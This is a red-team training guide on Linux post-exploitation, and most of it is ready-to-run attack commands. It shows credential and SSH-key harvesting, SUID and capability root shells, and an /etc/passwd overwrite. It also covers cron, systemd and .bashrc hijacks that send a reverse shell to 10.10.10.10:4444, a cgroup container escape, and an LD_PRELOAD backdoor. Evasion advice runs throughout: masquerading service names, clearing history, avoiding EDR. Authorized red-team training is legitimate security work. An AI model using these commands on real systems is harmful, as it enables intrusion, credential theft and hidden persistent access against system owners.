Pillar 1: Linux Red Teaming & Privilege Escalation

BLUF: Linux is the foundation of red team operations. Every engagement touches a Linux host — whether it's your C2 server, a web app target, or a pivot box. Master enumeration, privilege escalation, and persistence before anything else.

Attack Path Overview

graph TB
    Start([Initial Foothold]) --> Enum[Enumeration & Discovery]
    Enum --> PrivEsc{Privilege Escalation}
    PrivEsc --> SUID[SUID/SGID Abuse]
    PrivEsc --> Cron[Cron/Systemd Abuse]
    PrivEsc --> Kernel[Kernel Exploits]
    PrivEsc --> Container[Container Escape]
    PrivEsc --> Root([Root Access])
    Root --> Persist[Persistence Mechanisms]
    Root --> Pivot[SSH Pivot & Key Harvest]
    Root --> Chain[Full Attack Chain]
    style Start fill:#ff6600
    style Root fill:#ff0000
    style Chain fill:#00aa00

MITRE ATT&CK Mapping

Action Item 1 — System & Environment Enumeration [Beginner]

Manual and automated enumeration are the bedrock of Linux post-exploitation. Understanding the environment, user privileges, and network connections is critical before attempting any escalation.

What you're building: A picture of the box — kernel version (which exploits apply?), who's here, what's listening, and what mistakes the admin made. Every subsequent action item depends on this groundwork.

Tactic: Discovery

Technique: System Information Discovery — Think of it like walking into a building you've never been in before. Before you do anything else, you stop and take stock:

The goal before touching anything else: build a complete mental map of the house — who's home, what's locked, what's alarmed, where the exits are — before you decide what to do next. Rushing to exploitation without this picture is how you get caught or break something.

Procedure — "First 5 Minutes on Box"

Work through these phases in order. Each phase builds on the last. Don't jump ahead to exploitation until you've completed Phase 1–3.

Phase 1 — Situational Awareness (Where am I?)

# What OS, kernel, and architecture am I on?
uname -a                        # kernel version + arch — critical for exploit matching
cat /etc/os-release             # distro name and version
hostname                        # machine name — is this a prod server? a dev box? a DC?
cat /proc/version               # alternative kernel info
uptime                          # how long has this been running? long uptime = less patched?

# Am I in a container?
ls -la /.dockerenv 2>/dev/null  # Docker
cat /proc/1/cgroup | grep docker
ls /run/.containerenv 2>/dev/null  # Podman

Why: Container escapes are a different attack path. Kernel exploits depend on exact version. Long uptime = patches skipped.

Phase 2 — Who's Here? (Users & Sessions)

# Who am I and what groups do I belong to?
id                              # uid, gid, supplementary groups — look for docker, lxd, disk, sudo
whoami
groups

# Who else has a real shell account?
cat /etc/passwd | grep -v "nologin\|false" | awk -F: '{print $1, $3, $7}'
cat /etc/group | grep -v "^#"

# Who is currently logged in RIGHT NOW?
w                               # active sessions with source IP and idle time
who                             # simpler version
last | head -20                 # recent login history — spot other attackers or defenders
lastlog | grep -v "Never"       # which accounts have actually been used

# Any interesting user home directories?
ls -la /home/
ls -la /root/ 2>/dev/null       # check if readable

Why: If another user is logged in, they might see your activity. last tells you if defenders have been active. Home dirs often have SSH keys, .bash_history, and tool configs.

Phase 3 — What's Connected? (Network, Services & Storage)

# What is this machine talking to right now?
ss -tunap                       # listening + established connections with process names
netstat -antup 2>/dev/null      # fallback if ss not available

# What does this host know about the network?
cat /etc/hosts                  # static DNS entries — often reveals internal hostnames
cat /etc/resolv.conf            # DNS servers → pivot targets
arp -a                          # what other hosts has this machine talked to recently?
ip route show                   # routing table — what subnets are reachable?
ip addr show                    # all interfaces — dual-homed? VPN adapter?
route -n                        # older fallback

# Internal hostnames reachable by name (no scan needed)
getent hosts                    # full NSS host resolution list

# Any firewall rules visible?
iptables -L -n 2>/dev/null
cat /etc/ufw/user.rules 2>/dev/null

# Interesting listening services (pivot opportunities)
ss -tunlp | grep -v "127.0.0.1" # services exposed externally — databases, APIs
ss -tunlp | grep "127.0.0.1"    # internal-only services — often less hardened

# What's mounted? (NFS, CIFS, unusual drives with creds in fstab)
mount | column -t               # all current mounts — look for NFS, CIFS, unusual paths
cat /etc/fstab                  # static mount config — may contain credentials inline
df -h                           # disk usage — spot unusual volumes

# Docker socket — fastest path to root if present and accessible
ls -la /var/run/docker.sock 2>/dev/null
find / -name "docker.sock" 2>/dev/null
# If accessible: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Why: Internal-only services (Redis, MySQL, Kubernetes API) are frequently unauthenticated or misconfigured. The ARP cache tells you what's alive on adjacent subnets without scanning. An accessible Docker socket is equivalent to root — always check it immediately.

Phase 4 — Quick Privilege Checks (Low-Hanging Fruit)

# Can I sudo anything?
sudo -l                         # MOST IMPORTANT SINGLE COMMAND — check GTFOBins for every entry

# What capabilities does my current shell process actually have?
cat /proc/$/status | grep Cap
capsh --decode=$(cat /proc/$/status | grep CapEff | awk '{print $2}') 2>/dev/null
# cap_setuid, cap_net_raw, cap_dac_override → all exploitable paths

# Am I in any privileged groups?
# docker → full root via: docker run -v /:/mnt alpine chroot /mnt sh
# lxd   → full root via LXD container mount
# disk  → read raw disk blocks including /etc/shadow
# sudo  → obvious
id | grep -E "docker|lxd|disk|adm|sudo"

# Is any directory in PATH writable by me?
# If a root-owned script calls a binary without full path, I can hijack it
echo $PATH | tr ':' '\n' | while read dir; do
  ls -la "$dir" 2>/dev/null | grep -w "w" && echo "WRITABLE: $dir"
done

Phase 5 — Secrets & History (Credentials in the Clear)

# Shell history — operators paste passwords here constantly
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
cat ~/.python_history

# Environment variables — check for API keys, tokens, passwords
env | grep -iE "pass|key|token|secret|api|cred"
printenv

# Config files with creds
find /home /root /var/www /opt /etc -name "*.conf" -o -name ".env" -o -name "*.ini" \
  2>/dev/null | xargs grep -li "password\|passwd\|secret\|token" 2>/dev/null

# SSH keys — can you pivot to other hosts?
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/known_hosts           # what other hosts has this user SSHd to?
cat ~/.ssh/config                # configured SSH shortcuts with potentially saved creds

# Recently modified files — what changed just before you got access?
find / -mmin -60 -type f 2>/dev/null | grep -v "/proc\|/sys\|/run"  # last 60 min
find / -newer /etc/passwd -type f 2>/dev/null | grep -v "/proc\|/sys" # newer than passwd

# Quick log scan — credentials in error output, recent commands, lateral movement clues
tail -50 /var/log/auth.log 2>/dev/null      # recent auth events
tail -50 /var/log/secure 2>/dev/null        # RHEL/CentOS equivalent
grep -iE "password|fail|token|error" /var/log/*.log 2>/dev/null | head -30

Phase 5.5 — Attack Surface (What Can I Run?)

# What language interpreters / runtimes are installed?
# Every one of these is a potential GTFOBins escalation path if SUID or capable
which python python3 ruby perl php node go rustc gcc 2>/dev/null
python3 --version 2>/dev/null; perl --version 2>/dev/null; ruby --version 2>/dev/null

# Interesting installed packages — look for compilers, tools that shouldn't be on prod
if command -v dpkg &>/dev/null; then
  dpkg -l | grep -iE "gcc|nmap|netcat|socat|wget|curl|python|perl|ruby|tcpdump"
elif command -v rpm &>/dev/null; then
  rpm -qa | grep -iE "gcc|nmap|netcat|socat|wget|curl|python|perl|ruby|tcpdump"
fi

# Is tmux, screen, or byobu running? Can I attach to another user's session?
tmux ls 2>/dev/null
screen -ls 2>/dev/null

Why: An installed python3 or perl with SUID is instant root (GTFOBins). A compiler means you can compile and run local exploits. Attaching to another user's tmux session is trivially easy if the socket is world-readable.

Phase 6 — Process Monitoring (What's Consistently Running as Root?)

# pspy: watches cron jobs and background processes without root
# grab from: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000            # watch for 2-3 minutes — catch cron jobs on the minute mark

# Manual snapshot of running processes
ps auxf                         # full process tree — look for root-owned writable scripts
ps auxe | grep -v "^\[" | awk '{print $1, $11}' | sort | grep root

# Systemd timers — often missed, run as root on a schedule
systemctl list-timers --all 2>/dev/null
cat /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* 2>/dev/null
crontab -l 2>/dev/null          # current user's cron
cat /etc/crontab                # system-wide crontab

Phase 7 — Automated Enumeration (Noisy, Use Last)

# linpeas — comprehensive automated sweep
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh > /tmp/lp.txt 2>&1
# Then review: cat /tmp/lp.txt | grep -A2 "95%\|99%"  ← high-confidence findings first

# lse.sh — quieter alternative, good for interactive review
curl -L https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | sh -s -- -l 1

OPSEC: linpeas touches hundreds of files and generates significant log noise — apt hits, find traversals, /proc reads. In an EDR environment, run it once, pipe to a file, then read offline. Use pspy and manual checks first in high-security targets.

Action Item 2 — SUID/SGID/Capabilities Exploitation [Beginner]

Misconfigured file permissions and Linux capabilities often provide the most direct path to root. SUID (Set User ID) allows a user to execute a binary with the privileges of the file owner.

How it works: When a binary has SUID set, it runs as its owner (usually root) regardless of who executes it. If that binary lets you run arbitrary commands — even as a side effect — you get a root shell. Linux Capabilities are a finer-grained version of the same idea: cap_setuid+ep on Python is functionally identical to SUID root. Always cross-reference findings against GTFOBins.

Tactic: Privilege Escalation

Technique: Abuse Elevation Control Mechanism — exploit SUID/SGID binaries or misconfigured Linux capabilities to execute code as a higher-privileged user (T1548)

Procedure:

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Check for interesting capabilities
getcap -r / 2>/dev/null

# Example: Exploiting SUID python
# If /usr/bin/python has SUID set
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Example: Exploiting cap_setuid on python
# If python has cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Example: Exploiting SUID find
find . -exec /bin/sh -p \; -quit

# Example: Exploiting SUID vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec /bin/sh")'

# Example: Exploiting SUID bash
bash -p

# Example: Exploiting SUID cp to overwrite /etc/passwd
# Create a new user with root privileges
openssl passwd -1 -salt user1 password123
# user1:$1$user1$6Y...:0:0:root:/root:/bin/bash
cp /etc/passwd /tmp/passwd
echo 'user1:$1$user1$6Y...:0:0:root:/root:/bin/bash' >> /tmp/passwd
./cp /tmp/passwd /etc/passwd
su user1

OPSEC: Executing shells from SUID binaries is easily detected by EDR and auditd. When possible, use the binary's intended functionality to read sensitive files (like /etc/shadow) instead of spawning a full root shell.

Action Item 3 — Cron Job & Service Abuse [Intermediate]

Scheduled tasks and system services frequently run with elevated privileges. If these tasks call writable scripts or use relative paths, they can be hijacked for privilege escalation.

Tactic: Privilege Escalation / Persistence

Technique: Scheduled Task/Job Hijacking — intercept cron jobs or systemd services running as root by replacing or modifying the scripts they invoke (T1053.003)

Procedure:

# List all cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# Monitor for hidden cron jobs or system activity
# pspy is essential for finding jobs that run frequently but aren't in crontab
./pspy64

# Check for writable scripts called by cron
# If /opt/scripts/backup.sh is writable and run by root
ls -la /opt/scripts/backup.sh
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /opt/scripts/backup.sh

# Check for PATH injection in cron
# If /etc/crontab has PATH=/home/user:/usr/bin and calls 'tar'
# And /home/user is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /home/user/tar
chmod +x /home/user/tar

# Enumerate systemd services and timers
systemctl list-units --type=service
systemctl list-timers
ls -la /etc/systemd/system/

# Check for writable service files
find /etc/systemd/system/ -writable -type f 2>/dev/null

# Abuse a writable service file
# Modify ExecStart to point to a malicious script or command
sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"|' /etc/systemd/system/target.service
systemctl daemon-reload
systemctl restart target.service

OPSEC: Modifying existing scripts is more stealthy than creating new ones. Always backup the original script and restore it after gaining access. Avoid reverse shells in cron jobs if the environment has egress filtering; use local file writes instead.

Action Item 4 — Kernel Exploit Identification & Execution [Intermediate]

When configuration-based escalation fails, kernel exploits target vulnerabilities in the Linux kernel itself. This is a high-risk, high-reward approach that can lead to system instability.

Tactic: Privilege Escalation

Technique: Exploitation for Privilege Escalation — exploit a kernel CVE or driver vulnerability to gain ring-0 / root access from an unprivileged shell (T1068)

Procedure:

# Identify kernel version and OS distribution
uname -a
cat /proc/version
cat /etc/os-release

# Run exploit suggester
# Download: https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh --kernel $(uname -r)

# Search for exploits locally using searchsploit
searchsploit linux kernel 5.10
searchsploit "Ubuntu 20.04" kernel

# Example: DirtyPipe (CVE-2022-0847)
# 1. Download exploit
# 2. Compile
gcc exploit.c -o exploit
# 3. Run
./exploit /usr/bin/sudo

# Example: PwnKit (CVE-2021-4034)
# Targets polkit's pkexec
# 1. Download or use a python/C implementation
# 2. Execute to get root shell
./pwnkit

# Cross-compiling for the target (on attacker machine)
# Useful if gcc is not installed on the target
x86_64-linux-gnu-gcc exploit.c -o exploit -static

OPSEC: Kernel exploits are the "loudest" and most dangerous form of escalation. They often cause kernel panics or system crashes. Always test the exploit on an identical kernel version in a lab before running it on a production target.

Action Item 5 — SSH Pivoting & Key Harvesting [Intermediate]

SSH is the primary method for lateral movement in Linux environments. Harvesting keys and hijacking active sessions allows an attacker to move through the network without needing passwords.

Tactic: Lateral Movement / Credential Access

Technique: SSH Hijacking / Credential Harvesting — steal or reuse SSH keys, agent sockets, or session tokens to move laterally across hosts (T1563.001, T1552.004)

Procedure:

# Harvest SSH keys and known hosts
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys
cat ~/.ssh/known_hosts
cat ~/.ssh/id_rsa
cat ~/.ssh/id_ed25519

# Search for keys in the entire filesystem
grep -rE "BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY" /home /root /var/www 2>/dev/null

# Hijack SSH Agent (requires root or same user)
# 1. Find the SSH_AUTH_SOCK of a logged-in user
env | grep SSH_AUTH_SOCK
# Or find it in /tmp
ls -la /tmp/ssh-*
# 2. Use the socket to authenticate as the user
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXXX/agent.XXXX
ssh-add -l
ssh user@target

# SSH Port Forwarding (Local)
# Access a service on the remote internal network via your local machine
ssh -L 8080:10.10.10.50:80 user@pivot-host

# SSH Port Forwarding (Remote)
# Expose a local service to the remote network
ssh -R 4444:127.0.0.1:4444 user@pivot-host

# Dynamic Port Forwarding (SOCKS Proxy)
# Route all traffic through the pivot host
ssh -D 1080 user@pivot-host
# Use with proxychains
proxychains nmap -sT -Pn 10.10.10.0/24

OPSEC: SSH key usage is often logged. Be aware that connecting to known_hosts might trigger alerts if the destination is a sensitive server. Use -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no to avoid modifying the local known_hosts file.

Action Item 6 — Container Escape Techniques [Advanced]

Containers are often misconfigured with excessive privileges or exposed sockets, allowing an attacker to break out of the isolated environment and gain access to the host system.

Tactic: Privilege Escalation / Defense Evasion

Technique: Container Escape — break out of a Docker/LXC/Podman container to access the host filesystem or gain root on the underlying OS (T1611)

Procedure:

# Check if in a container
ls -la /.dockerenv
cat /proc/1/cgroup
mount | grep docker

# Abuse exposed Docker socket
# If /var/run/docker.sock is writable, you can control the host's docker daemon
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

# Escape from privileged container (cgroups release_agent)
# This technique exploits the notify_on_release feature in cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /exploit
chmod +x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Abuse capabilities (CAP_SYS_ADMIN)
# Use nsenter to enter host namespaces if you have sufficient privileges
nsenter --target 1 --mount --uts --ipc --net --pid

# Automated container assessment
# Download: https://github.com/cdk-team/CDK
./cdk evaluate

OPSEC: Container escapes are highly visible to container security platforms (like Falco). Mounting the host filesystem is a major red flag. Use cdk-linux to evaluate escape paths before execution.

Action Item 7 — Linux Persistence Mechanisms [Advanced]

Persistence ensures continued access to a compromised system. On Linux, this involves modifying startup scripts, services, or authentication modules.

Tactic: Persistence

Technique: Boot/Logon Autostart & Account Manipulation — plant cron jobs, systemd units, PAM backdoors, or SSH authorized_keys to survive reboots and credential changes (T1053.003, T1543.002, T1098.004)

Procedure:

# SSH Authorized Keys persistence
# Add your public key to the user's authorized_keys
echo "ssh-rsa AAAAB3Nza... attacker@kali" >> ~/.ssh/authorized_keys

# User-level persistence via .bashrc or .profile
# Executes every time the user logs in
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> ~/.bashrc

# Systemd Service persistence
# Create a service that starts on boot
cat <<EOF > /etc/systemd/system/sys-check.service
[Unit]
Description=System Integrity Check
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/bin/python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable sys-check.service

# LD_PRELOAD hijacking (Shared Object injection)
# 1. Create a malicious shared object
# 2. Force the system to load it before others
gcc -fPIC -shared -o /usr/local/lib/libutil.so /tmp/lib.c -ldl
echo "export LD_PRELOAD=/usr/local/lib/libutil.so" >> /etc/profile

# Cron persistence
(crontab -l ; echo "*/30 * * * * /tmp/shell.sh") | crontab -

OPSEC: Persistence is the most likely phase to be detected during incident response. Avoid obvious names like "backdoor.service". Masquerade as legitimate services (e.g., systemd-resolved-check.service) and use time-based triggers to minimize active connections.

Action Item 8 — Full Linux Attack Chain [Operator]

A successful Linux engagement requires chaining multiple techniques while maintaining strict OPSEC. The goal is to move from an initial foothold to full system control and long-term persistence.

Tactic: Full Kill Chain (Initial Access → Execution → Privilege Escalation → Lateral Movement → Persistence → Exfiltration)

Technique: Chained exploitation of multiple techniques across the MITRE ATT&CK framework in a single cohesive engagement scenario

Procedure:

1. Recon & Foothold: Identify web vulnerabilities (LFI, RCE) or exposed services (SSH, FTP). Gain initial access via a low-privileged shell.
2. Enumeration: Perform manual enumeration of the environment. Use pspy to find background tasks. Identify SUID binaries, writable files, and sensitive environment variables.
3. Privilege Escalation: Exploit a misconfigured cron job, a SUID binary, or a Linux capability to gain root access. If no misconfigurations exist, evaluate kernel exploits as a last resort.
4. Credential Harvesting: Once root, dump /etc/shadow and harvest SSH keys from all user directories. Check for cleartext passwords in configuration files (wp-config.php, .env).
5. Lateral Movement: Use harvested SSH keys or credentials to pivot to other hosts in the network. Establish SOCKS proxies for further scanning and exploitation.
6. Persistence: Deploy a stealthy systemd service or modify authorized_keys. Ensure the mechanism survives reboots and is not easily found by basic grep searches.
7. Cleanup: Clear shell history (history -c), remove temporary tools, and restore any modified scripts to their original state. Securely exfiltrate data.

Common Linux Service Ports:

OPSEC: The "Operator" mindset focuses on efficiency and stealth. Use built-in tools (perl, python, socat) instead of dropping custom binaries. Always assume the system is being monitored and act accordingly.

Resources

Part of the Red Teaming 101 series.